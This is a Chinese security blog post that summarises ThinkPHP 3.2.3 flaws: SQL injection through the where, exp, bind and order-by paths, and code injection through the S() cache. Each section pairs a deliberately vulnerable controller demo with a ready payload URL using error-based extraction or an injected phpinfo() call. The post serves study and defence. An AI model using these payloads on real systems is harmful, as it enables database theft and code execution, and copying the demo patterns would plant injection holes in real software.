zoukankan      html  css  js  c++  java
  • Thinkphp3.2.3漏洞总结

     
    这里分析一下 Thinkphp3.2.3里面的一些漏洞问题
     

    Where注入

     
    在控制器中写个利用demo, 字符串 方式作为where传参时存在注入
     

        public function  getuser(){
            $user = M('users')->where('id='.I('id'))->find();
            dump($user);
        }
    

     
    下断点分析
     

     
    中间的过程有点复杂,我就在返回 sql 语句的出下了断点,可以看到是类似于 where (1=1) 的形式
     

    并且好像也没有过滤什么
     

     
    payload

    http://host-2/index.php?m=Home&c=Index&a=getuser&id=1) and extractvalue(0x0a,concat(0x0a,(select version())))--+
     

    exp注入

     
    demo如下
     

    public function  getuser(){
            $User = D('users');
            $map = array('id' => $_GET['id']);//必须使用 全局数组传参
            $user = $User->where($map)->find();
            dump($user);
    }
    

     

     
    payload
     

    http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=exp&id[1]==1  and extractvalue(0x0a,concat(0x0a,(select version())))--+
    

     

     
    太菜了,师傅们的分析文章看不懂
     

    bind注入

    public function  getuser(){
            $data['id'] = I('id');
            $uname['username'] = I('username');
            $user = M('user')->where($data)->save($uname);
            dump($user);
    }
    

     
    payload
     

    http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing
    

     

    find/select/delete注入

     
    参考文章

    https://xz.aliyun.com/t/2629#toc-3

    order by注入

    public function user(){
        $data['username'] = array('eq','admin');
        $user = M('users')->where($data)->order(I('order'))->find();
        dump($user);
    }
    

     
    payload
     

    order=id and(updatexml(1,concat(0x7e,(select user())),0))
    

    缓存漏洞

     
    在ThinkPHP3.2中,缓存函数有F方法和S方法,两个方法有什么区别呢,官方介绍如下:

    F方法:相当于PHP自带的file_put_content和file_get_content函数,没有太多存在时间的概念,是文件存储数据的方式。常用于文件配置。
    S方法:文件缓存,有生命时长,时间到期后缓存内容会得到更新。常用于单页面data缓存。
    
    public function test(){
        S('name',I('test'));
    }
    

     
    我们传入 test 的值后,会保存在 /Application/Runtime/Temp/md5('name').php 文件里面,里面的值是将我们传入的值反序列化进去的
     
    payload
     

    http://host-2/index.php?m=Home&c=Index&a=test&test=%0aphpinfo();/*
    

     

    %oa 先换行跳过 //,在使用 /* 注释符注释掉后面的 引号
     

    参考文章

     
    https://www.cnblogs.com/ichunqiu/p/12469123.html

  • 相关阅读:
    国际域名转出ICANN投诉
    C#中使用SslStream类来创建SSL服务器/客户端
    将.com域名转到godaddy的操作教程
    Google Test Automation Conference 2013 Schedule
    3月收藏
    4月收藏
    2月收藏
    5月收集
    stl中queues的基本用法
    codeblocks花屏终极解决方法
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/Thinkphp323lou-dong-zong-jie.html
Copyright © 2011-2022 走看看